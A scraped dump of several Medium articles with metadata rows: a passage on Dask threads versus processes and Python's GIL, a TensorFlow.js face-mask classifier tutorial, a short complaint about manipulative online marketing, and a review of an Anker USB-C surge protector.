Processes are independent programs. Processes, in fact, further parallelize their operations using threads. They are more resource-hungry and their creation and termination take more time than threads. They don’t exchange data, memory, or resources. As per the dask documentation, when parallelizing tasks using processes,
Every task and all of its dependencies are shipped to a local process, executed, and then their result is shipped back to the main process.
Evidently, the processes have higher task overheads than threads. One important thing to note is that a process is isolated from other processes. It has its own memory space and the OS makes sure that it remains isolated.
Threads:
Threads are what allow a process to execute its tasks parallelly. They are essentially segments of a process. They are less resource-hungry and can be created and terminated quickly. They can share data, memory, and resources. They have very little task overheads (~50us). This means that if a task takes x seconds to execute, running it on a thread will take x seconds + 50us.
Dask Distributed (Single Machine):
You can consider this as a clone of dask distributed running on a cluster of machines. It gives you higher flexibility. You can set the number of workers (processes), define the number of threads per process, and so on. It also provides you with a diagnostic dashboard to view the progress of the computation. Also, it provides an asynchronous API, Futures. This is helpful because you can then perform the computation in the background in a non-blocking mode. You can submit a computation to the cluster and it will return a Future. The cluster will then perform the computation in the background and you can carry on with your other computations. Whenever required, you can query the results of the cluster computation using the .result() method on the Future. If the result is ready, it will be returned. To know more about how to create a cluster on your local machine, you can go through this short tutorial.
So while dask distributed does provide some useful features, at the core of the computations lie processes and threads. Thus, how fast your computation will run will depend on how it is organized into processes and threads. So let’s focus on these two.
Reading the above descriptions would have convinced you that threads are superior compared to processes. They have lower overheads, consume fewer resources, and can even share data. Then why are we even considering processes? This is because of the limitations imposed by Python’s Global Interpreter Lock (GIL).
The Spoilsport — Python’s Global Interpreter Lock:
In layman terms, python’s GIL ensures that only one python instruction is carried out across all threads of a process at a time. So if a process has 5 threads which want to, say find the lengths of different strings. At any given time, only one thread will be able to perform that operation while the others will wait for this thread to finish. So essentially, that kills parallelism using threads if you are performing a python task. If you want to learn more about GIL in python, especially why it exists in the first place, you can refer to the several results that show up with a quick Google search. A detailed study of python’s GIL is beyond the scope of this post.
Dask’s documentation states that we should use threads to parallelize operation only when our tasks are dominated by non-Python code. However, if you just call .compute() on a dask dataframe, it will by default use threads to parallelize the execution. To use processes, you need to specify the scheduler as an argument, like .compute(scheduler=’processes’) .
Let us look at an example to understand the difference between threads and processes in more detail.
Example — Delays and Computations:
We will use a short version of the dataframe used in the previous post. We have taken the first 50,000 rows of that dataframe and stored them in a new CSV called ‘lat_lon_short.csv’. Let us load that CSV into a dask dataframe, set the index, and partition it.
dfdask = dd.read_csv('data/lat_lon_short.csv')
dfdask = dfdask.set_index('serial_no',sorted=True)
dfdask = dfdask.repartition(npartitions=8)
Now we will perform two rather weird operations on this dataframe. Weird because you won’t generally perform such operations on a real dataframe. However, these operations help illustrate the point.
Operation 1:
dfdask['test1'] = dfdask.apply(lambda row: str(row.latitude)+'-'+str(test_fun()),axis=1, meta=('str'))
Here we are applying a lambda function on the dataframe, which converts the latitude into a string and appends the output of the test_fun function to that string, and stores the result in a new column. The test_fun is defined as follows:
def test_fun():
time.sleep(0.01)
return 5
So the test_fun returns a value of 5 after a delay of 10 ms.
Operation 2:
dfdask['test2'] = dfdask.apply(lambda row: len(row.test1),axis=1, meta=('int'))
This operation just outputs the length of the string created in the previous operation, and stores it in a new column.
Now let us look at the results:
Results:
Time taken (in s) for .compute() when only operation 1 is performed:
Time taken (in s) for .compute() when both operations are performed:
Inferences:
There is a lot to unpack here. Let’s go over the inferences one by one.
The time with processes was lower when performing both operations, but it was higher when performing just operation 1.
This observation is the most important to understand the difference between processes and threads. You need to understand that a delay introduced by time.sleep() is rather a lack of instruction. The thread remains idle for the duration of that delay. Therefore, other threads can execute in that period. Therefore, with operation 1 alone, threads can operate in parallel, just like the processes. Hence, the only differentiating factor is the overhead, which is higher for processes than for threads. Therefore, with only operation 1, the threads are faster than the processes.
Operation 2, however, involves python instructions. Therefore, python’s GIL swings into action and ensures that only one thread executes the instruction at a time. Therefore, threads perform operation 2 serially. On the other hand, processes are independent, and therefore, they perform operation 2 parallelly and return the results much faster with operation 2. Thus, when both the operations are performed, the time saved by processes during operation 2 compensates for the extra overhead. Therefore, the result is that processes take lesser time than threads when performing both the operations.
The time, as expected, did not change on increasing the number of partitions beyond 8.
As explained in the Machine Specifications section, the machine has 4 cores and therefore a maximum of 8 threads/ processes can be run in parallel.
The time difference between threads and processes is nearly constant (3–4 seconds) when only operation 1 is performed
Once again, since the only difference between threads and processes is going to be because of overheads when performing operation 1, it is independent of the number of partitions. When there is 1 partition, only one process is created. When there are 8 partitions, 8 processes are created. But the overhead is equal to the overhead of 1 partition. This is because all 8 are running in parallel. When there are more than 8 partitions, again, only 8 processes are created because of hardware limitations. Each process handles multiple partitions. That’s what the time difference suggests.
Visualizing the difference between threads and processes using Task Manager
If you are on a Windows machine, the Task Manager also illustrates the difference between threads and processes.
When you are running threads, the task manager will look something like this: | https://medium.com/analytics-vidhya/how-to-efficiently-parallelize-dask-dataframe-computation-on-a-single-machine-1f10b5b02177 | ['Yash Sanghvi'] | 2020-08-26 14:33:12.306000+00:00 | ['Scheduler', 'Big Data', 'Parallel Computing', 'Threads', 'Dask'] |
How to Detect Face Masks in Images with TensorFlow.js | Project Setup
The structure of this project is simple. We are not going to download a pre-trained model—instead, we’re going train our own model. This tutorial aims to educate beginners on TensorFlow and image recognition. Hence, we’ll start the project from scratch.
Here, we have the datasets for two types of images—people wearing and not wearing a mask—using which, we’re going to train our model. You can download the training face mask dataset images from Kaggle.
We also have two images for testing purposes, which are not included in the training image data set. You can get these from free-to-download image websites like Unsplash.
With the dataset, testing images, and programming files, our final project structure should look as shown in the screenshot below:
index.html is our main landing file. Hence, we need to include every script library in it, as shown in the code snippet below:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>TensorFlow.js Mask detection</title>
<link href="./style.css" rel="stylesheet">
</head>
<body> <div class="train-images"></div> <img id="test-img" src="./images/no_mask.jpg">
<script src="
<!-- Load MobileNet -->
<script src="
<!-- Load KNN Classifier -->
<script src="
<script src="app.js"></script>
</body>
</html> https://cdn.jsdelivr.net/npm/@tensorflow/tfjs</a> "> https://cdn.jsdelivr.net/npm/@tensorflow-models/mobilenet</a> "> https://cdn.jsdelivr.net/npm/@tensorflow-models/knn-classifier</a> ">
Here, we have also included a style.css file. For HTML elements, we have an image element with an image source. We have also included our local script as an app.js file, where we are going to code all our logic.
Now, for CSS design codes, we can refer to the codes in the following snippet:
body {
margin: 0;
padding: 0;
background-color: antiquewhite;
} .train-images {
display: none;
} #test-img {
max-height: 300px;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
border: 10px solid red;
} #test-img.mask {
border: 10px solid green;
} #test-img.no-mask {
border: 10px solid red;
}
We need to place the above CSS design codes in our style.css file. Here, we simply have CSS styles for images with subjects wearing a mask and those with subjects not wearing a mask. We will distinguish the pictures using the border colors we’ve coded in this CSS file.
Now onto the main logic to be included in the app.js file. First, we need to fetch all data and add it to this file in order to prepare to train the model. The code to do that is provided below:
window.onload = async () => {
const maskImageCount = 5;
const noMaskImageCount = 6; const trainImagesContainer = document.querySelector('.train-images');
// Add mask images to the DOM and give them a class of `mask-img`
for (let i = 1; i <= maskImageCount; i++) {
const newImage = document.createElement('IMG');
newImage.setAttribute('src', `images/mask/${i}.jpg`);
newImage.classList.add('mask-img');
trainImagesContainer.appendChild(newImage);
}
// Add no mask images to the DOM and give them a class of `no-mask-img`
for (let i = 1; i <= noMaskImageCount; i++) {
const newImage = document.createElement('IMG');
newImage.setAttribute('src', `images/no_mask/${i}.jpg`);
newImage.classList.add('no-mask-img');
trainImagesContainer.appendChild(newImage);
}
Next, we need to create a function to classify images using the KNN classifier. This function is used to train the classifier and receives a MobileNet object as a parameter. Using the mobilenet object, we will return the already trained objects. The code for the asynchronous function trainClassifier is provided in the code snippet below:
async function trainClassifier(mobilenetModule) {
// Create a new KNN Classifier
const classifier = knnClassifier.create(); // Train using mask images
const maskImages = document.querySelectorAll('.mask-img');
maskImages.forEach(img => {
const tfImg = tf.browser.fromPixels(img);
const logits = mobilenetModule.infer(tfImg, 'conv_preds');
classifier.addExample(logits, 0); // has mask
});
// Train using no mask images
const noMaskImages = document.querySelectorAll('.no-mask-img');
noMaskImages.forEach(img => {
const tfImg = tf.browser.fromPixels(img);
const logits = mobilenetModule.infer(tfImg, 'conv_preds');
classifier.addExample(logits, 1); // no mask
}); return classifier;
}
Next, we need to load the MobileNet module and pass the mobilenet object to the function we implemented previously. Then, after we receive the classified data from the classifier, we run inference in order to get the prediction result.
In order to classify the images as containing a mask or no mask, we’re going to add the above-defined border colors to the image using CSS styles.
The overall code for this is provided in the code snippet below:
// Load mobilenet module
const mobilenetModule = await mobilenet.load({version: 2, alpha: 1});
// Add examples to the KNN Classifier
const classifier = await trainClassifier(mobilenetModule); // Predict class for the test image
const testImage = document.getElementById('test-img');
const tfTestImage = tf.browser.fromPixels(testImage);
const logits = mobilenetModule.infer(tfTestImage, 'conv_preds');
const prediction = await classifier.predictClass(logits); // Add a border to the test image to display the prediction result
if (prediction.label == 1) { // no mask - red border
testImage.classList.add('no-mask');
} else { // has mask - green border
testImage.classList.add('mask');
}
Hence, we get the results as displayed in the demo screenshots below:
As we can see, we get a red border for an image in which a person is not wearing a mask.
And, for an image where people are wearing masks, we get a green border, as shown in the demo screenshot below:
Hence, we have successfully implemented the first version of a program that can determine if people in a given image are wearing a mask or not using a simple HTML project with the TensorFlow library and MobileNet.
Conclusion
It’s awesome that we now have the ability to develop solutions to existing real-world problems using programming technologies. In this tutorial, we learned how to detect the existence of face masks in an image by classifying the image with MobileNet and a KNN classifier.
Though this is a simple solution, this can be a starting place for more complex projects and is just a starting point to learn about image classification using TensorFlow.js. Now it’s up to you to take it to the next level and innovate new solutions.
Happy Coding folks! | https://heartbeat.fritz.ai/how-to-detect-face-masks-in-images-with-tensorflow-js-3b40b8c940cc | ['Krissanawat Kaewsanmuang'] | 2020-10-26 14:19:13.995000+00:00 | ['TensorFlow', 'JavaScript', 'Image Classification', 'Heartbeat', 'Machine Learning'] |
I am SICK of all these unethical marketing hacks that people resort to these days. | I am SICK of all these unethical marketing hacks people resort to these days.
Trying to sell a $3,000 course teaching you how to achieve “financial freedom” by shipping $0.50 fishing lures from Alibaba…
All these “live” webinars where people are encouraged to post questions, which are obviously pre-recorded and have been playing on auto-pilot for months or years…
All these dubious calls-to-action, with timers and pressurizing messages (“You have 60 seconds to make a choice!”…“Once you leave this page, it’s GONE FOREVER!!”)…when refreshing the page resets the time to zero, or brings up the very same offer a week, a month, heck a year later.
If you have a genuine offer that adds value to people's lives, why are you using all these deceitful tricks to lure them in?
Don’t you think people can tell?
Time for ethical Marketing. Time to stop this crap. Seriously. | https://medium.com/@clementbourcart/i-am-sick-of-all-these-unethical-marketing-hacks-that-people-resort-to-these-days-b97715d58702 | ['Clément Bourcart'] | 2020-12-23 10:49:25.046000+00:00 | ['Ethics', 'Marketing', 'Sales', 'Online', 'Business'] |
Anker PowerExtend USB-C 3 Capsule review: A fast-charging surge protector | Too many surge protectors look like they’re designed to be hidden behind your desk, and that’s all well and good, so long as you don’t intend to swap plugs too often. But if you do need easy access to your surge protector, you’ll probably want to pick one that isn’t flat-out ugly.
The Anker PowerExtend USB-C 3 Capsule can’t accommodate a lot of devices, but it’s attractive enough to leave out in plain sight, and its AC outlet orientation keeps wall warts out of sight while leaving its three USB charging ports easily accessible. These outlets are well spaced and arranged at angles that allow for easy cord management. I had no problem plugging three oversized DC power supplies into them.
This review is part of TechHive’s coverage of the best surge protectors, where you’ll find reviews of competing products, plus a buyer’s guide to the features you should consider when shopping for this type of product. Michael Brown / IDG Two fast-charging USB-A and one USB-C ports are the highlights of Anker’s PowerExtend USB-C 3 Capsule surge protector.
You only get two USB-A and one USB-C charging ports, but these have a combined power budget of 60 watts. The two USB-A ports are allocated 15 watts (5V-3A, 2.4A maximum per port), while the single USB-C port can accommodate laptops in addition to smartphones and tablets, delivering 5V-2.4A (12 watts), 9V-3A (27 watts), 15V-3A (45 watts), or 20V-2.25A (45 watts), depending on the client. The surge protector has a 5-foot 16 AWG power cord terminating with a low-profile plug oriented at a 45-degree angle that won’t block an adjacent outlet.
The USB-C charging port is compatible with Qualcomm’s Quick Charge, USB Power Delivery, Apple Fast Charging, and Samsung Fast Charging technologies—not bad for a device that measures just 8 x 2.75 x 3 inches (WxDxH). The price tag is a bit less exciting: $69.99 at Amazon (although Anker was offering a $20 discount coupon at press time).
[ Further reading: The best uninterruptible power supplies ]This is the type of surge protector that continues to provide power after its MOVs have burned out, so you’ll want to verify that the blue LED labeled “surge protection” remains illuminated, assuring you that your devices are protected. On the topic of MOVs, the PowerExtend has a very high clamping ceiling: 775 volts at 50 amps. It also has a low joules rating (300), and there’s no internal circuit breaker with a reset button. If you live in an area with unstable power or frequent thunderstorms, you might want something more robust.
Michael Brown / IDG I had no problem plugging three large power adapters into the back of Anker’s PowerExtend USB-C 3 Capsule.
A second blue LED informs you when power is flowing, and a third tells you the outlet strip is connected to a properly grounded outlet. (If the third LED doesn’t light up when you plug the surge protector in, consult a electrician, because the outlet you’re using is not properly grounded.) A round silver button to the right of the LEDs turns the outlet strip on and off. I have a bedside lamp with a thumbwheel switch on its power cord that’s not convenient to reach, so I was hoping the PowerExtend’s button would shut off only its AC outlets. Alas, that’s not the case, as the button also turns the USB charging ports on and off.
The Anker PowerExtend USB-C 3 Capsule won’t accommodate a lot of hardware, and it’s not the best choice for those living in areas that experience frequent lightning storms (unless you have a whole-home surge protector installed in your circuit-breaker panel). That said, its compact size, attractive industrial design, and fast-charging features make it an attractive option if you don’t need more than one USB-C charging port.
Note: When you purchase something after clicking links in our articles, we may earn a small commission. Read our affiliate link policy for more details. | https://medium.com/@theresa41656489/anker-powerextend-usb-c-3-capsule-review-a-fast-charging-surge-protector-f84b23f00e6a | [] | 2020-12-11 10:10:37.963000+00:00 | ['Gear', 'Lighting', 'Chargers', 'Audio'] |
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